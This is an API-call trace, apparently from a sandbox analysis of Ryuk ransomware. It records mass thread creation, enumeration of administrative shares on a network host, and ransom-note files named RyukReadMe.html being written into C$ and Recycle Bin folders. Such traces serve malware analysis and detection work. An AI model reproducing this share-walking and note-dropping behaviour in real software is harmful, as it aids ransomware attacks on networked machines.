	[0227.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0227.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0227.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0227.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0227.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0227.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0227.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0227.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0227.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0227.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0227.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef05f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0227.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0227.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0227.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0227.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0227.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0227.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0227.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0227.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0227.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0227.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0227.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0227.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0227.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0227.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0227.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0227.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0227.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0227.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0227.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0227.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0227.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0227.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0227.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0227.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0227.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0227.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0227.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0227.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0227.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0227.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0227.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0227.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef06f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0227.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0227.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0227.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0227.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0227.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0227.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0227.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0227.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0227.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0227.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0227.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0227.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0227.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0228.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0228.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0228.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0228.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0228.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0228.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0228.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0228.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0228.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0228.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0228.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0228.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0228.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0228.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0228.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0228.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0228.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef07e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0228.043] WaitForMultipleObjects (nCount=0xff, lpHandles=0xd31e0*=0xf8, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0228.046] WaitForMultipleObjects (nCount=0xff, lpHandles=0xd31e0*=0xf8, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0228.046] Sleep (dwMilliseconds=0x5dc) 
	[0229.736] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.738] Sleep (dwMilliseconds=0x3e8) 
	[0230.837] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4) returned 0x2668c0
	[0230.837] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x4) returned 0x2668f0
	[0230.837] GetTickCount () returned 0x11886e4
	[0230.837] GetLastError () returned 0x57
	[0230.837] SetLastError (dwErrCode=0x57) 
	[0230.837] GetLastError () returned 0x57
	[0230.837] SetLastError (dwErrCode=0x57) 
	[0230.838] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\A$\\*.*", lpFindFileData=0xd33c0 | out: lpFindFileData=0xd33c0*(dwFileAttributes=0x210, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x214, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x218, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x21c, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x224, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0233.986] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0233.986] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\B$\\*.*", lpFindFileData=0xd33c0 | out: lpFindFileData=0xd33c0*(dwFileAttributes=0x210, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x214, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x218, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x21c, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x224, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0234.634] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0234.634] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\*.*", lpFindFileData=0xd33c0 | out: lpFindFileData=0xd33c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x224, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x25d6f0
	[0236.313] SetLastError (dwErrCode=0x0) 
	[0236.313] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c8
	[0237.588] GetLastError () returned 0x0
	[0237.588] WriteFile (in: hFile=0x7c8, lpBuffer=0x13f9ddfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0xd3308, lpOverlapped=0x0 | out: lpBuffer=0x13f9ddfb0*, lpNumberOfBytesWritten=0xd3308*=0x273, lpOverlapped=0x0) returned 1
	[0237.591] CloseHandle (hObject=0x7c8) returned 1
	[0238.082] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\*.*", lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d750
	[0238.611] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.018] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0239.018] SetLastError (dwErrCode=0x0) 
	[0239.018] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c
	[0239.648] GetLastError () returned 0x0
	[0239.648] WriteFile (in: hFile=0x79c, lpBuffer=0x13f9ddfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0xd2bd8, lpOverlapped=0x0 | out: lpBuffer=0x13f9ddfb0*, lpNumberOfBytesWritten=0xd2bd8*=0x273, lpOverlapped=0x0) returned 1
	[0239.650] CloseHandle (hObject=0x79c) returned 1
	[0239.923] FindFirstFileW (in: lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x25d7b0
	[0240.516] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.868] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x5c, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0240.869] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409b5080, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0240.869] FindNextFileW (in: hFindFile=0x25d7b0, lpFindFileData=0xd2560 | out: lpFindFileData=0xd2560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409b5080, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x5c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0241.133] FindClose (in: hFindFile=0x25d7b0 | out: hFindFile=0x25d7b0) returned 1
	[0241.302] SetLastError (dwErrCode=0x0) 
	[0241.302] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764
	[0242.085] GetLastError () returned 0xb7
	[0242.085] CloseHandle (hObject=0x764) returned 1
	[0242.236] FindNextFileW (in: hFindFile=0x25d750, lpFindFileData=0xd2c90 | out: lpFindFileData=0xd2c90*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x409b5080, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x409b5080, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x42, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0242.391] FindClose (in: hFindFile=0x25d750 | out: hFindFile=0x25d750) returned 1
	[0242.462] SetLastError (dwErrCode=0x0) 
	[0242.462] CreateFileW (lpFileName="\\\\192.168.0.60\\C$\\$Recycle.Bin\\RyukReadMe.html" (normalized: "\\\\192.168.0.60\\c$\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744
	[0243.355] GetLastError () returned 0xb7
	[0243.355] CloseHandle (hObject=0x744) returned 1
